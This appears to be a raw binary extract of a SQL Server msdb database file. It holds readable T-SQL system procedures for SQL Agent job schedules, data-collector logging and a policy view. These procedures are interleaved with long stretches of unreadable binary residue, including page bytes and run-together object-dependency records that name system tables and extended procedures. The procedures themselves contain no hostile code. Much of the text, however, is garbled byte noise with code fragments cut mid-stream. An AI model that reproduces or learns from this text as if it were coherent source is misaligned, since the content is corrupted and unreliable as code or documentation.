  @schedule_uid           UNIQUEIDENTIFIER = NULL OUTPUT
AS
BEGIN
  DECLARE @retval           INT
  DECLARE @owner_login_name sysname

  SET NOCOUNT ON

  -- Check authority (only SQLServerAgent can add a schedule to a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  -- Check that we can uniquely identify the job
  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Get the owner of the job. Prior to resusable schedules the job owner also owned the schedule
  SELECT @owner_login_name = dbo.SQLAGENT_SUSER_SNAME(owner_sid)
  FROM   sysjobs
  WHERE  (job_id = @job_id) 

  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) AND
      (SUSER_SNAME() <> @owner_login_name))
  BEGIN
   RAISERROR(14525, -1, -1)
   RETURN(1) -- Failure
  END

  -- Check authority (only SQLServerAgent can add a schedule to a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  -- Add the schedule first
  EXECUTE @retval = msdb.dbo.sp_add_schedule @schedule_name          = @name,
                                             @enabled                = @enabled,
                                             @freq_type              = @freq_type,
                                             @freq_interval          = @freq_interval,
                                             @freq_subday_type       = @freq_subday_type,
                                             @freq_subday_interval   = @freq_subday_interval,
                                             @freq_relative_interval = @freq_relative_interval,
                                             @freq_recurrence_factor = @freq_recurrence_factor,
                                             @active_start_date      = @active_start_date,
                                             @active_end_date        = @active_end_date,
                                             @active_start_time      = @active_start_time,
                                             @active_end_time        = @active_end_time,
                                             @owner_login_name       = @owner_login_name,
                                             @schedule_uid           = @schedule_uid OUTPUT,
                                             @schedule_id            = @schedule_id  OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
 
 
  EXECUTE @retval = msdb.dbo.sp_attach_schedule @job_id           = @job_id, 
                                                @job_name         = NULL,
                                                @schedule_id      = @schedule_id,
                                                @schedule_name    = NULL,
                                                @automatic_post   = @automatic_post
  IF (@retval <> 0)
    RETURN(1) -- Failure
    
    

  RETURN(@retval) -- 0 means success
END
0I D8yh<`.=0NJ +8(getdate())0H 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_onpackagebegin]
    @parent_log_id bigint,
    @package_id uniqueidentifier,
    @package_execution_id uniqueidentifier,
    @collection_item_id int = NULL,
    @mode smallint = NULL,
    @operator nvarchar(128) = NULL,
    @log_id bigint OUTPUT
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Verify parameters
    --

    -- Check the @parent_log_id
    IF (@parent_log_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@parent_log_id')
        RETURN (1)
    END
    ELSE IF (NOT EXISTS (SELECT log_id FROM dbo.syscollector_execution_log WHERE log_id = @parent_log_id))
    BEGIN
        DECLARE @parent_log_id_as_char VARCHAR(36)
        SELECT @parent_log_id_as_char = CONVERT(VARCHAR(36), @parent_log_id)

        RAISERROR(14262, -1, -1, '@parent_log_id', @parent_log_id_as_char)
        RETURN (1)
    END

    -- Check the @package_id
    IF (@package_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@package_id')
        RETURN (1)
    END
    -- The 84CEC861... package is an id of our special Master package that is allowed to start 
    -- the log without being saved to sysssispackages
    ELSE IF (@package_id != N'84CEC861-D619-433D-86FB-0BB851AF454A' AND NOT EXISTS (SELECT id FROM dbo.sysssispackages WHERE id = @package_id))
    BEGIN
        DECLARE @package_id_as_char VARCHAR(50)
        SELECT @package_id_as_char = CONVERT(VARCHAR(50), @package_id)

        RAISERROR(14262, -1, -1, '@package_id', @package_id_as_char)
        RETURN (1)
    END

    -- Default operator to currently logged in user
    SET @operator = NULLIF(LTRIM(RTRIM(@operator)), '')
    SET @operator = ISNULL(@operator, suser_sname())

    -- Default mode to Collection
    SET @mode = ISNULL(@mode, 0)

    -- Find out the collection_set_id from the parent
    DECLARE @collection_set_id INT
    SELECT @collection_set_id = collection_set_id FROM dbo.syscollector_execution_log WHERE log_id = @parent_log_id

    -- Check the @package_execution_id
    IF (@package_execution_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@package_execution_id')
        RETURN (1)
    END
    

    -- Insert the log record
    --
    INSERT INTO dbo.syscollector_execution_log_internal (
        parent_log_id, 
        collection_set_id, 
        collection_item_id,
        start_time,
        last_iteration_time,
        finish_time,
        runtime_execution_mode,
        [status],
        operator,
        package_id,
        package_execution_id,
        failure_message
    ) VALUES (
        @parent_log_id,
        @collection_set_id,
        @collection_item_id,        
        GETDATE(),
        NULL,
        NULL,
        @mode,
        0, -- Running
        @operator,
        @package_id,
        @package_execution_id,        
        NULL
    )

    SET @log_id = SCOPE_IDENTITY()                

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``<[OHHH0J 8CREATE PROCEDURE sp_delete_jobschedule           -- This SP is deprecated. Use sp_detach_schedule and sp_delete_schedule.
  @job_id           UNIQUEIDENTIFIER = NULL,
  @job_name         sysname          = NULL,
  @name             sysname,
  @keep_schedule    int              = 0,
  @automatic_post       BIT          = 1         -- If 1 will post notifications to all tsx servers to that run this schedule
AS
BEGIN
  DECLARE @retval           INT
  DECLARE @sched_count      INT
  DECLARE @schedule_id      INT
  DECLARE @job_owner_sid    VARBINARY(85)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name = LTRIM(RTRIM(@name))

  -- Check authority (only SQLServerAgent can delete a schedule of a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  -- Check that we can uniquely identify the job
  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                               @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) AND
      (SUSER_SID() <> @job_owner_sid))
  BEGIN
   RAISERROR(14525, -1, -1)
   RETURN(1) -- Failure
  END


  IF (UPPER(@name collate SQL_Latin1_General_CP1_CS_AS) = N'ALL')
  BEGIN
    SELECT @schedule_id = -1  -- We use this in the call to sp_sqlagent_notify
    
    --Delete the schedule(s) if it isn't being used by other jobs
    DECLARE @temp_schedules_to_delete TABLE (schedule_id INT NOT NULL)


    --If user requests that the schedules be removed (the legacy behavoir)
    --make sure it isnt being used by other jobs
    IF (@keep_schedule = 0)
    BEGIN
        --Get the list of schedules to delete
        INSERT INTO @temp_schedules_to_delete
        SELECT DISTINCT schedule_id 
        FROM   msdb.dbo.sysschedules
        WHERE (schedule_id IN 
                (SELECT schedule_id
                FROM msdb.dbo.sysjobschedules
                WHERE (job_id = @job_id)))
            
        --make sure no other jobs use these schedules
        IF( EXISTS(SELECT *
                    FROM msdb.dbo.sysjobschedules 
                    WHERE (job_id <> @job_id)
                    AND (schedule_id in ( SELECT schedule_id 
                                            FROM @temp_schedules_to_delete ))))
        BEGIN
        RAISERROR(14367, -1, -1)   
        RETURN(1) -- Failure
        END
    END

    --OK to delete the jobschedule
    DELETE FROM msdb.dbo.sysjobschedules
    WHERE (job_id = @job_id)
    
    --OK to delete the schedule - temp_schedules_to_delete is empty if @keep_schedule <> 0
    DELETE FROM msdb.dbo.sysschedules
    WHERE schedule_id IN 
    (SELECT schedule_id from @temp_schedules_to_delete)
  END
  ELSE
  BEGIN

    -- Make sure the schedule_id can be uniquely identified and that it exists
    -- Note: It's safe use the values returned by the MIN() function because the SP errors out if more than 1 record exists
    SELECT @sched_count = COUNT(*),
           @schedule_id = MIN(sched.schedule_id)
    FROM msdb.dbo.sysjobschedules as jsched
      JOIN msdb.dbo.sysschedules_localserver_view as sched
        ON jsched.schedule_id = sched.schedule_id
    WHERE (jsched.job_id = @job_id)
      AND (sched.name = @name)
  
    -- Need to use sp_detach_schedule to remove this ambiguous schedule name
    IF(@sched_count > 1)
    BEGIN
      RAISERROR(14376, -1, -1, @name, @job_name)
      RETURN(1) -- Failure
    END

    IF (@schedule_id IS NULL)
    BEGIN    
     --raise an explicit message if the schedule does exist but isn't attached to this job
     IF EXISTS(SELECT * 
             FROM sysschedules_localserver_view
                WHERE (name = @name))
     BEGIN
      RAISERROR(14374, -1, -1, @name, @job_name)
     END
     ELSE
      BEGIN
        --If the schedule is from an MSX and a sysadmin is calling report a specific 'MSX' message
        IF(PROGRAM_NAME() NOT LIKE N'SQLAgent%' AND
           ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1 AND
           EXISTS(SELECT * 
                  FROM msdb.dbo.sysschedules as sched
                    JOIN msdb.dbo.sysoriginatingservers_view as svr
                      ON sched.originating_server_id = svr.originating_server_id
                    JOIN msdb.dbo.sysjobschedules as js 
                      ON sched.schedule_id = js.schedule_id
                  WHERE (svr.master_server = 1) AND
                        (sched.name = @name) AND
                        (js.job_id = @job_id)))
       BEGIN
         RAISERROR(14274, -1, -1)
       END
        ELSE
        BEGIN
          --Generic message that the schedule doesn't exist
          RAISERROR(14262, -1, -1, '@name', @name)
        END
     END

      RETURN(1) -- Failure
    END

    --If user requests that the schedule be removed (the legacy behavoir)
    --make sure it isnt being used by another job
    IF (@keep_schedule = 0)
    BEGIN
      IF( EXISTS(SELECT * 
                 FROM msdb.dbo.sysjobschedules
                 WHERE (schedule_id = @schedule_id)
                   AND (job_id <> @job_id) ))
      BEGIN
        RAISERROR(14368, -1, -1, @name)
        RETURN(1) -- Failure
      END
    END

    --Delete the job schedule link first
    DELETE FROM msdb.dbo.sysjobschedules
    WHERE (job_id = @job_id)
    AND (schedule_id = @schedule_id)
    --Delete schedule if required
    IF (@keep_schedule = 0)
    BEGIN
      --Now delete the schedule if required
      DELETE FROM msdb.dbo.sysschedules
      WHERE (schedule_id = @schedule_id)   
    END

  END


  -- Update the job's version/last-modified information
  UPDATE msdb.dbo.sysjobs
  SET version_number = version_number + 1,
      date_modified = GETDATE()
  WHERE (job_id = @job_id)

  -- Notify SQLServerAgent of the change, but only if we know the job has been cached
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
  BEGIN
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'S',
                                        @job_id      = @job_id,
                                        @schedule_id = @schedule_id,
                                        @action_type = N'D'
  END

  -- For a multi-server job, remind the user that they need to call sp_post_msx_operation
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
    -- Instruct the tsx servers to pick up the altered schedule
    IF (@automatic_post = 1)
    BEGIN
      DECLARE @schedule_uid UNIQUEIDENTIFIER
      SELECT @schedule_uid = schedule_uid 
      FROM sysschedules 
      WHERE schedule_id = @schedule_id

      IF(NOT @schedule_uid IS NULL)
      BEGIN
        -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
        EXECUTE sp_post_msx_operation @operation = 'INSERT', @object_type = 'SCHEDULE', @schedule_uid = @schedule_uid
      END
    END
    ELSE
      RAISERROR(14547, 0, 1, N'INSERT', N'sp_post_msx_operation')

  RETURN(@retval) -- 0 means success
END
0WJ 8CREATE VIEW [dbo].[syspolicy_target_set_levels]
AS
    SELECT     
        target_set_level_id,
        target_set_id,
        type_skeleton,
        condition_id,
        level_name
    FROM [dbo].[syspolicy_target_set_levels_internal]
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E`%RKPHUIeQIWIWIWIWIWIWIW	IW
IWIWIW
IWIWIWIXIXJMޅJ"BJ"BJ(CJ(CJ(CJeQJeQJeQJeQJeQJWJWJ&nJXJXJXJADJADJە
JiM4wKW4wKW4wKW4wKW4wKW4wKW4wKW	4wKW
4wKW4wKW4wKW
4wKW4wKW4wKW4wKW4wK4wKG4wKX8YkL8YkLeQ8YkLeQ8YkLeQ8YkLeQ8YkLeQ8YkLeQ8YkLeQ	8YkLeQ
8YkLeQ8YkLeQ8YkLeQ
8YkLeQ8YkLeQ8YkLeQ8YkLeQ8YkLG8YkLX8YkLX8YkLX8YkLX8YkLە
q}_Md]q}_M(Cq}_M(Cq}_M(Cq}_M+\q}_M+\q}_M+\q}_M+\q}_M"Bq}_M"Bq}_MADq}_MADq}_Mȃcq}_Mȃcq}_M)?Kq}_M)?KSN(CSN(CSN(CSN(CSN(CSN(CSN(CSN(CSN(C	SN(C
SN(CSN(CSN(C
SN(CSN(CSN(CSN(CSN(CSN(CSNq}_MSN"BSN"BSNoGO(CGO(CGO(CGO(CGO(CGO(CGO(CGO(C	GO(C
GO(CGO(CGO(C
GO(CGO(CGOGO&nGOە
GOiMNw!Nw!Nw!O֣O֣O֣O֣HI+DHIҕ;HIҕ;HIҕ;HIҕ;HIҕ;	J+DJҕ;Jҕ;:K+D:K?r>:K?r>
:Kҕ;:Kҕ;:Kҕ;	:Kҕ;
:Ks:Ks:Ks	:Ks^L+D^LZ@^LZ@^LZ@^LZ@^LZ@^LZ@^LZ@,M?r>,M?r>eN?r>eN?r>eN?r>eN?r>eN?r>eN?r>eN?r>eN?r>	eN?r>
eN?r>eN?r>
eN?r>eN,MWJs{FWJs{FWJs{FWJs{FWJs{F0KC0KC0KC0KC0Kð0KHTLCTLCTLHyMCyMCyMH;sN:WE;sNs{F;sNs{F;sNs{F;sNs{F;sNl
;sNHf&bK(Cf&bK;Pf&bKSNf&bK-nJf&bK>0f&bK@JVL(CJVL;PJVLSNJVL>0JVL@J2OnJMJ2OnJMGOeEGOeEGOeEGOeEGOeEGOeEGOeEGOeE	GOeE
GOeEGOeEGOeE
GOeEGOeEGOeEGOeEGOeEGO(CGO(CGO(CGO(CGO(CGO(CGO(CGO(C	GO(C
GO(CGO(CGO(C
GO(CGO(CGO(CGO(CGO(CGO$kGOq}_MGO+\GO+\GO+\GO+\GOHaGOHaGOGO&nGOADGOADGOە
GOiMNw!Nw!Nw!|`D(




d
H
,
pxdH,hL0x 
hL0lP4



\@$@$\T
8
		t	X	
p


<	 				lP4x\$|`D(@T8pT8|`D(dhL0H,Xt<pT84tX<PltX<  x\@$|`&0b$QH#0I	@X^fsysschedules_localserver_viewdbomsdb0J	@,2:sysjobsdbomsdb0J	p2sysschedules0J	@6<Dsysschedulesdbomsdb0J	pTsysschedules_localserver_view0J	@X^fsysschedules_localserver_viewdbomsdb0J	pJsp_verify_jobproc_caller0J	@RX`sysoriginatingservers_viewdbomsdb0J	pDsp_post_msx_operation0J		@<BJsysjobschedulesdbomsdb0J
	@8>Fsysjobserversdbomsdb0J	pLsp_verify_job_identifiers0J	@BHPsp_sqlagent_notifydbomsdb04wK	@X^fsysschedules_localserver_viewdbomsdb04wK	@Z`hsp_verify_schedule_identifiersdbomsdb04wK	pPsp_get_schedule_description04wK	p8sysjobschedules08YkL	@Z`hsp_verify_schedule_identifiersdbomsdb08YkL	@6<Dsysschedulesdbomsdb08YkL	pPsp_get_schedule_description08YkL	p8sysjobschedules08YkL	@<BJsysjobschedulesdbomsdb08YkL	pLsp_verify_job_identifiers0q}_M	@>DLsystargetserversdbomsdb0q}_M	@,2:sysjobsdbomsdb0q}_M	@8>Fsyscategoriesdbomsdb0q}_M	@RX`sysoriginatingservers_viewdbomsdb0q}_M	@8>Fsysjobserversdbomsdb0q}_M	@6<Dsysoperatorsdbomsdb0q}_M	@4:Bsysjobstepsdbomsdb0SN	@,2:sysjobsdbomsdb0SN	p4sp_verify_job0SN	@RX`sysoriginatingservers_viewdbomsdb0SN	pVsp_verify_category_identifiers0GO	@6<Dsysjobs_viewdbomsdb0GO	@,2:sysjobsdbomsdb0GO	`DJSQLAGENT_SUSER_SNAMEdbo0GO	p4sp_verify_job0GO	@8>Fsyscategoriesdbomsdb0GO	@06>sysalertsdbomsdb0GO	@X^fsp_sqlagent_has_server_accessdbomsdb0GO	@HNVsp_post_msx_operationdbomsdb0GO		@8>Fsysjobserversdbomsdb0GO
	pLsp_verify_job_identifiers0GO	@6<Dsysoperatorsdbomsdb0GO	@BHPsp_sqlagent_notifydbomsdb0GO
	@4:Bsysjobstepsdbomsdb0;P	@JPXsp_delete_all_msx_jobsdbomsdb0;P	@HNVsp_post_msx_operationdbomsdb0;P
	@NT\sp_delete_job_referencesdbomsdb0;P	pLsp_verify_job_identifiers0;P	@<BJsysdownloadlistdbomsdb0N	p8sysmail_profile0O	pJsysmail_principalprofile0P	p8sysmail_account0HI	`bhsp_syscollector_verify_event_log_iddbo0HI	`bhsyscollector_execution_log_internaldbo0J	`bhsp_syscollector_verify_event_log_iddbo0J	`bhsyscollector_execution_log_internaldbo0:K	`bhsp_syscollector_verify_event_log_iddbo0:K	`PVsyscollector_execution_logdbo0:K	`bhsyscollector_execution_log_internaldbo0:K	`06sysssislogdbo0^L	`bhsp_syscollector_verify_event_log_iddbo0^L	`flsyscollector_execution_stats_internaldbo0,M	`PVsyscollector_execution_logdbo0eN	`PVsyscollector_execution_logdbo0eN	`lrfn_syscollector_find_collection_set_rootdbo0˜O	`TZsyscollector_execution_statsdbo0WJ	`djsyspolicy_target_set_levels_internaldbo00K	@Z`hsyspolicy_target_sets_internaldbomsdb00K	`pvsp_syspolicy_verify_object_set_identifiersdbo00K	`V\sp_syspolicy_check_membershipdbo0TL	@Z`hsyspolicy_target_sets_internaldbomsdb0TL	`V\sp_syspolicy_check_membershipdbo0yM	@Z`hsyspolicy_target_sets_internaldbomsdb0yM	`V\sp_syspolicy_check_membershipdbo0;sN	pDsyspolicy_target_sets0;sN	@fltsyspolicy_target_set_levels_internaldbomsdb0;sN	@pv~sp_syspolicy_verify_condition_identifiersdbomsdb0;sN	`V\sp_syspolicy_check_membershipdbo0tgO	@fltsyspolicy_target_set_levels_internaldbomsdb0tgO	@pv~sp_syspolicy_verify_condition_identifiersdbomsdb0tgO	`V\sp_syspolicy_check_membershipdbo0f&bK	@,2:sysjobsdbomsdb0f&bK	p4sp_delete_job0f&bK	@28@sp_add_jobdbomsdb0f&bK	`lrfn_sysutility_mi_get_validate_wmi_scriptdbo0f&bK	@>DLsp_add_jobserverdbomsdb0f&bK	@:@Hsp_add_jobstepdbomsdb0JVL	@DJVxp_instance_regreaddbomaster0JVL	@,2:sysjobsdbomsdb0JVL	p4sp_delete_job0JVL	@28@sp_add_jobdbomsdb0JVL	@>DLsp_add_jobserverdbomsdb0JVL	@:@Hsp_add_jobstepdbomsdbsysmail_profi4*Lr|T




N
l<.	b		0
T4j6 	pLPJ$6JhDFTv2zh0`PK,RH,1GO(CGO(CGO(CGOADGOADGOeEGOeEGOeEGOeEGOeEGOeEGOeEGOeE	GOeE
GOeEGOeEGOeE
GOeEGOeEGOeEGOeEGOeEGOq}_MGO+\GO+\GO+\GO+\GOHaGOHaGO$kGOȃcGOȃcGO)?KGO)?KGO)?K;PeE;PeE;P(C;P(C;PeQ;PeQ;PN$;P&n;PX;PX;P';Pە
;Pj8;Pj8;Pj8U0Qd]U0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0QeE	U0QeE
U0QeEU0QeEU0QeE
U0QeEU0QeEU0QeEU0QeEU0QeEU0QeEU0Q$kU0Q+\U0Q+\U0QXU0QXU0QADU0QADU0QADU0QADU0QADU0QlU0QȃcU0QȃcU0Q)?KU0Q)?KU0Q)?KU0Q)?K2$RU0Q2$R|62$R+\2$R+\2$R+\2$Rە
VSVSX{TU0Q{T9U(C9U(C9U;P9U9UAD9UAD9UlP\P\P\+Pe!+Pe!+Pe!+Pe!d(Qe!d(Qe!LR$LR$LR$pSzpSzpSzpSzT]($T]($T]($sBR:QsBR:QsBR:QUwBUwBUwBUwB"UI>UI>UT<UT<˜O6C˜O6C˜O6C˜O6C˜O6C˜O6CP?r>P?r>
PsPsPsPsPs	Ps
PsPsQ=ykQ=ykQҕ;Qҕ;QeNQeNQeNQeNQeNQeNQeNQeNQeN	QeN
QeNQeNQeN
QeNQ|Q|\mSW\mSW\mS?r>\mS?r>\mScf?\mS
\mS
\mSI8yR\mS|\mS|	aTb4aT\mSaT	*paT|aT|aT|aT|aT|
aT|UUҕ;UUҕ;UUI8yRtgOs{FtgOs{FtgOs{FtgOl
tgOH[PWJ[PWJ[PWJ[P$[P$[P$
	PQWJ	PQ:WE	PQ:WE.DR	PQ.DR:WE.DR:WE.DRmR.DR[P.DR.DR3.DR3.DR3
.DRHXR8S	PQXR8S:WEXR8S:WEXR8Ss{FXR8S[PXR8SXR8S3XR8S3XR8S3
XR8SHv,TmRv,T3v,T3v,T3
v,THʚ UmRʚ U3ʚ U3ʚ U3
ʚ UH&PnJM&PnJM&PnJMQnJMQnJMQnJMQ)(#RnJM#RnJMUT<UT<W~VVMW~VVMW~V 
KW~V 
KW~V 
KW~VwBW~VwBW~VwBW~VwBW~V0HW~V0HW~VOW~VOW~VUGTEW~VUGTEW~VI>W~VI>W~VT<W~VT<7\TȚH7\(C7\SN˜O6C˜O6C˜O6C|`D(D(4l
P


,HdlP4

d
H
,

hL0pT8



X t<T
8

	
p
lP4pT8 	X	<	@$x\			t	|`D(dH,	hL0tX< $x\@0P4lLhhL0x\@$|`pT8tX< x\@$|`TbfSOx䕥6	,2sysoperatorsdbo6Oj,2sysoperatorsdbo6"),2sysoperatorsdbo6-,2sysoperatorsdbo6Q.,2sysoperatorsdbo6>0
,2sysoperatorsdbo6q}_M,2sysoperatorsdbo6>Dsysoriginatingserversdbo6!>Dsysoriginatingserversdbo6"B>Dsysoriginatingserversdbo6aDFsysoriginatingservers_view6)VFsysoriginatingservers_view6HNsysoriginatingservers_viewdbo6N$HNsysoriginatingservers_viewdbo6`d8HNsysoriginatingservers_viewdbo6eEHNsysoriginatingservers_viewdbo6I	HNsysoriginatingservers_viewdbo6JHNsysoriginatingservers_viewdbo6q}_MHNsysoriginatingservers_viewdbo6SNHNsysoriginatingservers_viewdbo6WHNsysoriginatingservers_viewdbo6GO,2sysoperatorsdbo6U0Q
,2sysoperatorsdbo6Qr`
,2sysoperatorsdbo6Mm,2sysoperatorsdbo6<qn,2sysoperatorsdbo6uo,2sysoperatorsdbo6p,2sysoperatorsdbo6ݜq,2sysoperatorsdbo6 r,2sysoperatorsdbo6Jyt,2sysoperatorsdbo6vIx,2sysoperatorsdbo6~,2sysoperatorsdbo6$NTsyspolicy_conditions_internaldbo6$JPsyspolicy_management_facetsdbo63m	NTsyspolicy_conditions_internaldbo63m	JPsyspolicy_management_facetsdbo63m	<Bsyspolicy_conditionsdbo6l
<Bsyspolicy_conditionsdbo6NTsyspolicy_conditions_internaldbo6JPsyspolicy_management_facetsdbo6٥NTsyspolicy_conditions_internaldbo6
NTsyspolicy_conditions_internaldbo6JPsyspolicy_management_facetsdbo6ð>Dsyspolicy_object_setsdbo65JPsyspolicy_management_facetsdbo6.Nsyspolicy_object_sets_internal6.:syspolicy_conditions6/<syspolicy_object_sets6T:0Nsyspolicy_object_sets_internal6T:0<syspolicy_object_sets6T:0:syspolicy_conditions68˳4NTsyspolicy_conditions_internaldbo6q5Nsyspolicy_object_sets_internal66NTsyspolicy_conditions_internaldbo6T<NTsyspolicy_conditions_internaldbo6T<>Dsyspolicy_object_setsdbo6Y1?NTsyspolicy_conditions_internaldbo6Y1?	>Dsyspolicy_object_setsdbo6[P<Bsyspolicy_conditionsdbo6.DRLRsyspolicy_fn_filter_completedbo6.DRLRsyspolicy_fn_eventing_filterdbo6.DR>Dsyspolicy_object_setsdbo6XR8SLRsyspolicy_fn_filter_completedbo6XR8SLRsyspolicy_fn_eventing_filterdbo6XR8S>Dsyspolicy_object_setsdbo6&KfBHsyspolicy_configurationdbo6?pNsyspolicy_object_sets_internal6?pLsyspolicy_conditions_internal6?pNTsyspolicy_conditions_internaldbo6#FtLRsyspolicy_execution_internaldbo6#FtNTsyspolicy_conditions_internaldbo6#Ft@Fsyspolicy_facet_eventsdbo6βuw<syspolicy_event_queue6yRzTZsyspolicy_configuration_internaldbo6CF{TZsyspolicy_configuration_internaldbo6g:|TZsyspolicy_configuration_internaldbo6$.}TZsyspolicy_configuration_internaldbo6BHsyspolicy_configurationdbo6BHsyspolicy_configurationdbo6AABHsyspolicy_configurationdbo6AATZsyspolicy_configuration_internaldbo6 ">Dsyspolicy_object_setsdbo6 "
<Bsyspolicy_conditionsdbo%0sysssispackages6)3Lsysschedules_localserver_view6
B7Lsysschedules_localserver_view69Lsysschedules_localserver_view6H28sysssispackagesdbo6:K(.sysssislogdbo6P&sysssislog6Q28sysssispackagesdbo6I8yR(.sysssislogdbo6\mSLsysschedules_localserver_view6UU(.sysssislogdbo6{a0sysssispackages6b0sysssispackages6Kģc28sysssispackagesdbo6$NTsyspolicy_conditions_internaldbo6$JPsyspolicy_management_facetsdbo63m	NTsyspolicy_conditions_internaldbo63m	JPsyspolicy_management_facetsdbo63m	<Bsyspolicy_conditionsdbo6l
<Bsyspolicy_conditionsdbo6NTsyspolicy_conditions_internaldbo6JPsyspolicy_management_facetsdbo6٥NTsyspolicy_conditions_internaldbo6٥8>syspolicy_policiesdbo6
NTsyspolicy_conditions_internaldbo64^\bsyspolicy_policy_categories_internaldbo6PVsyspolicy_object_sets_internaldbo6JPsyspolicy_management_facetsdbo6ð>Dsyspolicy_object_setsdbo65JPsyspolicy_managemen0(:
DL
$	Rj
TF>p>R

	,~$	t	v
v8NdFd2j8Z(`^8b`
0TH_+20;P	@8>Fsysjobhistorydbomsdb0;P	@,2:sysjobsdbomsdb0;P	@6<Dsysjobs_viewdbomsdb0;P	@<BJsysjobschedulesdbomsdb0;P		@8>Fsysjobserversdbomsdb0;P	@6<Dsysschedulesdbomsdb0;P	@DJVxp_instance_regreaddbomaster0;P
	@BHTxp_sqlagent_notifydbomaster0;P	@4:Bsysjobstepsdbomsdb0;P	@8>Jxp_getnetnamedbomaster0U0Q	@>DLsystargetserversdbomsdb0U0Q	@HNZxp_sqlagent_enum_jobsdbomaster0U0Q	@6<Dsysjobs_viewdbomsdb0U0Q	`DJSQLAGENT_SUSER_SNAMEdbo0U0Q	@8>Fsyscategoriesdbomsdb0U0Q	p8sysjobschedules0U0Q	@<BJsysjobschedulesdbomsdb0U0Q	@8>Fsysjobserversdbomsdb0U0Q		`@FSQLAGENT_SUSER_SIDdbo0U0Q
	@6<Dsysoperatorsdbomsdb0U0Q	@4:Bsysjobstepsdbomsdb02$R	pLsp_get_composite_job_info02$R	p@sp_verify_subsystem02$R	@8>Fsyscategoriesdbomsdb02$R	pLsp_verify_job_identifiers0+P	pFsysmail_profileaccount0d(Q	@JPXsysmail_profileaccountdbomsdb0sBR	@:@Hlogmarkhistorydbomsdb0P	`PVsyscollector_execution_logdbo0P	p.sysssislog0Q	`:@sysssispackagesdbo0Q	`bhsyscollector_execution_log_internaldbo0Q	`hnfn_syscollector_get_execution_log_treedbo0Q	`TZsyscollector_collection_setsdbo0I8yR	`PVsyscollector_execution_logdbo0I8yR	p`syscollector_execution_log_internal0I8yR	`bhsyscollector_execution_log_internaldbo0I8yR	`06sysssislogdbo0I8yR	`lrfn_syscollector_find_collection_set_rootdbo0[P	@TZbsyspolicy_target_set_levelsdbomsdb0[P	@FLTsyspolicy_conditionsdbomsdb0	PQ	@TZbsyspolicy_target_set_levelsdbomsdb0	PQ	@HNVsyspolicy_target_setsdbomsdb0.DR	`TZsyspolicy_fn_filter_completedbo0.DR	`FLsyspolicy_target_setsdbo0.DR	@Z`hsyspolicy_object_sets_internaldbomsdb0.DR	`TZsyspolicy_fn_eventing_filterdbo0.DR	@HNVsyspolicy_object_setsdbomsdb0.DR	@BHPsyspolicy_policiesdbomsdb0.DR	`V\sp_syspolicy_check_membershipdbo0Q	@DJVxp_instance_regreaddbomaster0Q	@fltsysutility_mi_configuration_internaldbomsdb0Q	@NT`xp_instance_regdeletekeydbomaster0Q	@`fnfn_sysutility_get_is_instance_ucpdbomsdb0Q	@RXdxp_instance_regdeletevaluedbomaster0#R	pbsysutility_mi_configuration_internalcution_log_internaldbo0I8yR	`06sysssislogdbo0I8yR	`lrfn_syscollector_find_collection_set_rootdbo0\mS	pTsysschedules_localserver_view0\mS	`PVsyscollector_execution_logdbo0\mS	`RXsp_syscollector_delete_jobsdbo0\mS	`flsyscollector_collection_sets_internaldbo0\mS	`ntsp_syscollector_delete_execution_log_treedbo0\mS	`TZsyscollector_collection_setsdbo0aT	p`sp_syscollector_stop_collection_set0aT	pvsp_syscollector_delete_collection_set_internal0aT	`flsp_syscollector_verify_collection_setdbo0aT	